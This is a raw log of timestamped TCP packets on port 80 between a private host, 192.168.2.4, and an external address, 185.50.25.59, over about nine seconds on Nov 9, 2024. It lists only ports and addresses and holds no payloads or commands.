Nov 9, 2024 22:24:09.139017105 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.139029026 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.139035940 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.700517893 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.753717899 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.753953934 CET	50122	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.878567934 CET	50122	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.878570080 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.883521080 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.883615971 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.883718014 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.884195089 CET	80	50122	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:09.884310007 CET	50122	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:09.888489008 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.034893036 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.039958954 CET	80	50124	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.040440083 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.040854931 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.045671940 CET	80	50124	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.244349003 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.249296904 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.249309063 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.249319077 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.399404049 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.404292107 CET	80	50124	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.794975042 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.843187094 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.843246937 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.843646049 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.847559929 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.848892927 CET	80	50124	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.848946095 CET	50124	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.852327108 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.852389097 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.852546930 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.857285023 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.956682920 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.961509943 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:10.961577892 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.961656094 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:10.966420889 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.211972952 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.305567980 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343229055 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343285084 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343516111 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343529940 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343539000 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343547106 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343558073 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343565941 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343578100 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343580961 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343589067 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343601942 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343614101 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343645096 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343655109 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343687057 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343724012 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.343739986 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343849897 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.343868971 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348057985 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348099947 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.348190069 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348229885 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.348515034 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348535061 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348546982 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348555088 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.348565102 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.348572969 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.348596096 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.348613024 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.390089989 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.390185118 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.437999010 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.438100100 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.490037918 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.490243912 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.496072054 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.496288061 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501420975 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501449108 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501501083 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501527071 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501535892 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501580954 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501604080 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501612902 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501651049 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501703024 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501732111 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501739979 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501756907 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501785994 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501799107 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.501844883 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501852036 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501893044 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501900911 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501919985 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.501959085 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502001047 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502007961 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502022982 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502032042 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502046108 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502057076 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502067089 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502085924 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502094984 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502114058 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502125025 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.502147913 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.502222061 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506372929 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506428003 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506488085 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506576061 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506612062 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506647110 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506676912 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506689072 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506727934 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506752014 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506758928 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506767988 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506781101 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506860971 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506886005 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506901026 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.506980896 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.506997108 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507004976 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507054090 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.507071018 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507122040 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507177114 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.507200003 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507208109 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.507298946 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.549974918 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.553006887 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.602015972 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.605040073 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.615430117 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.617337942 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.617403984 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.617440939 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.622386932 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622395039 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622410059 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622420073 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622473955 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622482061 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622519970 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622529030 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622533083 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622539997 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622555971 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622564077 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622575045 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622582912 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622628927 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622637033 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622685909 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622694969 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622709990 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622716904 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622750998 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622760057 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622786999 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622889996 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622900009 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622908115 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622915983 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622924089 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622932911 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622936010 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622947931 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622951031 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622982025 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.622989893 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623056889 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623065948 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623085022 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623122931 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623131037 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623140097 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623152971 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623172045 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623181105 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623188019 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623224974 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623234034 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623246908 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623255014 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623269081 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623276949 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623321056 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623328924 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623347998 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623357058 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623414993 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623423100 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623430967 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623439074 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623450041 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623457909 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623496056 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623507023 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623513937 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623522997 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623565912 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623574018 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623577118 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623584032 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623594999 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623603106 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623651028 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.623658895 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.775155067 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.867994070 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:11.887587070 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.946415901 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:11.950993061 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.068314075 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.068316936 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.073998928 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.074125051 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.074398994 CET	80	50126	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.074431896 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.074522972 CET	50126	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.079189062 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.430562973 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.436777115 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.436786890 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.436908960 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.479873896 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.480907917 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.486895084 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.765214920 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.765466928 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:12.770349026 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.770358086 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:12.998786926 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.056408882 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.057147026 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.108418941 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.180041075 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.180063963 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.180152893 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.180887938 CET	50128	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.186542988 CET	80	50125	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.186578035 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.186650038 CET	50128	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.186665058 CET	50125	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.186753035 CET	50128	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.187019110 CET	80	50123	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.187036991 CET	80	50127	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.187063932 CET	50123	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.187087059 CET	50127	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.192295074 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.539936066 CET	50128	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:13.544778109 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.544790983 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:13.544800043 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.111619949 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.173394918 CET	80	50128	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.173459053 CET	50128	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:14.309418917 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:14.314368963 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.314471960 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:14.314893007 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:14.319686890 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.664966106 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:14.669904947 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.669917107 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:14.669926882 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.233913898 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.293303013 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.293360949 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.410255909 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.410933971 CET	50130	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.415415049 CET	80	50129	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.415513039 CET	50129	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.415757895 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.415862083 CET	50130	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.415927887 CET	50130	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.420644999 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.774426937 CET	50130	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:15.779335022 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.779377937 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:15.779661894 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.349772930 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.411767960 CET	80	50130	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.411824942 CET	50130	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:16.543350935 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:16.548368931 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.548440933 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:16.548561096 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:16.553332090 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.899302006 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:16.904293060 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.904304981 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:16.904388905 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:17.479542971 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:17.535535097 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:17.537410021 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.659727097 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.660317898 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.665680885 CET	80	50131	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:17.665757895 CET	50131	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.666017056 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:17.666364908 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.666452885 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:17.671215057 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.024342060 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.029505014 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.029515982 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.029685974 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.118902922 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.123801947 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.124943018 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.125006914 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.129833937 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.390744925 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.395709038 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.395776033 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.395966053 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.400685072 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.478369951 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.483309031 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.483437061 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.608633041 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.664861917 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:18.673178911 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.743639946 CET	50134	80	192.168.2.4	185.50.25.59
